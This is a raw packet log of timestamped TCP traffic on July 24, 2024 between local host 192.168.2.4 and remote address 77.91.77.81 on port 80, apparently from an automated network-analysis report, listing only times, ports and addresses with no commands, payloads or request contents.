Jul 24, 2024 02:39:12.632901907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.632910013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.632946014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.632978916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633013010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633044958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633080006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633131981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633131981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633131981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633131981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633131981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633131981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633220911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633253098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633285999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633318901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633352041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633387089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633388042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633388042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633388042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633403063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633421898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633436918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633450985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633470058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633480072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633503914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633510113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633552074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633557081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633594990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633601904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633627892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633640051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633661032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633671045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633693933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633702993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633795023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633805990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633838892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633847952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633872032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633883953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633905888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633919954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633939981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633960009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.633971930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.633977890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634006023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634008884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634037971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634047985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634073973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634079933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634115934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634160995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634193897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634203911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634227037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634234905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634259939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634270906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634293079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634301901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634325981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634332895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634360075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634366989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634392977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634401083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634427071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634434938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634460926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.634469032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.634507895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.641120911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.641187906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.641222000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.641254902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.641288042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.641320944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.641356945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.641395092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.641395092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.641395092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.641437054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.641521931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.641578913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.641616106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.641654015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.812604904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.817749023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033544064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033611059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033647060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033682108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033688068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.033688068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.033715963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033750057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033782959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033785105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.033785105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.033817053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033849955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033850908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.033850908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.033890009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033912897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.033912897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.033921957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033956051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.033956051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.033988953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034015894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034015894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034022093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034054995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034087896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034121037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034121037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034121990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034156084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034157991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034230947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034255981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034286976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034317017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034348965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034382105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034383059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034415007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034447908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034455061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034455061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034481049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034569025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034569025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034569979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034604073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034631014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034631014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034638882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034672022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034704924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034734011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034734011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034737110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034771919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034820080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034843922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034852028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034883976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034893990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.034917116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034950018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034982920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.034991980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035017014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035031080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035048962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035082102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035114050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035124063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035145998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035180092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035187960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035243034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035391092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035446882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035496950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035531998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035564899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035582066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035595894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035608053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035629988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035660982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035664082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035693884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035726070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035727024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035727024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035758018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035790920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035823107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035823107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035823107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035856009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035891056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035923004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035933018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035955906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035990000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.035995007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.035995007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036022902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036056042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036087990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036104918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036125898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036269903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036338091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036371946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036403894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036412954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036437035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036457062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036468983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036514997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036535978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036569118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036601067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036633968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036659002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036667109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036679029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036700010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036710024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.036732912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036765099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.036952972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.037070036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.162208080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.167710066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405196905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405253887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405287981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405319929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405329943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405352116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405354023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405400991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405428886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405428886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405435085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405456066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405468941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405502081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405503035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405539036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405570984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405574083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405602932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405621052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405636072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405670881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405704975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405736923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405736923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405736923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405838966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405872107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405900002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.405905008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405936003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405970097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.405971050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406021118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406033993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406054974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406089067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406090975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406125069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406128883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406157017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406188011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406188011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406188965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406223059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406230927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406256914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406289101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406305075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406322002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406353951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406363964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406385899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406416893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406420946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406454086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406486034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406518936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406550884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406550884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406553030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406598091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406675100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406722069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406773090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406805992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406838894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406869888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406869888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.406871080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406903982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406935930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.406969070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407001019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407001019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407001019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407032967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407064915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407097101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407107115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407129049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407162905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407192945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407192945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407195091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407224894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407258034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407289982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407321930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407322884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407321930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407356977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407391071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407663107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407696009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407727003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407730103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407730103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407759905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407793045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407826900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407855034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407855034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407857895 CEST	80	49731	77.91.77.81	192.168.2.4
